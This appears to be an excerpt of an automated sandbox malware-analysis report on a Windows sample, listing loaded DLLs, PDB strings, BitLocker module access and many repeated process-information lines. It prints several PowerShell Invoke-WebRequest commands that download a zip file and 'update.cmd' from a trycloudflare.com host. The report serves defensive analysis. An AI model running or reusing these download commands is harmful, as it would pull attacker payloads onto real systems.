Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior

Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{76765b11-3f95-4af2-ac9d-ea55d8994f1a}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: n.pdb~ source: powershell.exe, 00000019.00000002.1479258385.0000025C73E75000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1322175654.0000023D457AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1479867351.0000025C74159000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb^ source: powershell.exe, 00000019.00000002.1478427161.0000025C73E24000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000006.00000002.1320379549.0000023D45517000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1477743756.0000025C73DBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000019.00000002.1479867351.0000025C7413A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbwork source: powershell.exe, 00000006.00000002.1320379549.0000023D455BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000006.00000002.1322175654.0000023D457AD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1322175654.0000023D457AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1478427161.0000025C73E65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll,-- source: powershell.exe, 00000019.00000002.1477483660.0000025C73DA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000019.00000002.1479258385.0000025C73E75000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbn source: powershell.exe, 00000019.00000002.1479867351.0000025C74120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbJ source: powershell.exe, 00000006.00000002.1322175654.0000023D457AD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32em32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.catCulture source: powershell.exe, 00000019.00000002.1478427161.0000025C73E24000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \mscorlib.pdb source: powershell.exe, 00000006.00000002.1320379549.0000023D455BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb? source: powershell.exe, 00000019.00000002.1478427161.0000025C73E65000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFAACCC00BD pushad ; iretd	6_2_00007FFAACCC00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFAACCB0948 push E94A981Ch; ret	25_2_00007FFAACCB0909
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFAACCB56E5 pushad ; ret	25_2_00007FFAACCB5759
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFAACCB08DD push E94A981Ch; ret	25_2_00007FFAACCB0909
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFAACD80831 pushad ; ret	25_2_00007FFAACD808A2

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
